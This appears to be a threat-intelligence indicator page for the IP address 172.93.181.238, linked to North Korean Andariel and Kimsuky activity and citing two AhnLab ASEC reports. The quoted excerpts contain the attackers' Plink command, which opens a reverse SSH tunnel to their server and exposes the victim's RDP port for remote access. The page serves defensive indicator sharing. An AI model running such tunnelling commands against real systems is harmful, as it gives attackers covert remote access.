← All actor clusters

172.93.181.238

172.93.181.238 is an IP address that 2 published sources report in connection with Andariel and Kimsuky activity, which public reporting attributes to North Korea (DPRK). It is cited here from AhnLab ASEC. The earliest of those reports is dated 2024-11-25 and the most recent 2024-11-26.

ip address AndarielKimsuky MATCHED IN SOURCE

First seen 2024-11-25 · last seen 2024-11-26

Network

Looked up 2026-09-21 at ip-api.com. A hosting range is not evidence on its own.

Sources

• …이후 다음과 같은 명령으로 Plink를 실행하여 공격자의 SSH 서버와 SSH 터널링을 통해 외부에서 RDP 연결이 가능케 하였다. 명령 C:\Temp\AUtempR\p64.exe [제거]@172.93.181.238 -pw [제거] -P 443 -2 -4 -T -N -C -R 0.0.0.0:10443:127.0.0.1:3389 Table 1.…

  AhnLab EDR을 활용한 Proxy 도구 탐지 - ASEC — AhnLab ASEC · under “2. Plink” · published 2024-11-26 · pulled 2026-09-12

• …RDP connections through SSH tunneling to the threat actor’s SSH server. Command C:\Temp\AUtempR\p64.exe [removed]@172.93.181.238 -pw [removed] -P 443 -2 -4 -T -N -C -R 0.0.0.0:10443:127.0.0.1:3389 Table 1.…

  Proxy Tools Detected by AhnLab EDR - ASEC — AhnLab ASEC · under “2. Plink” · published 2024-11-25 · pulled 2026-09-12

Find this indicator in the index, or see every IP address this site holds under IP addresses in the browse listing.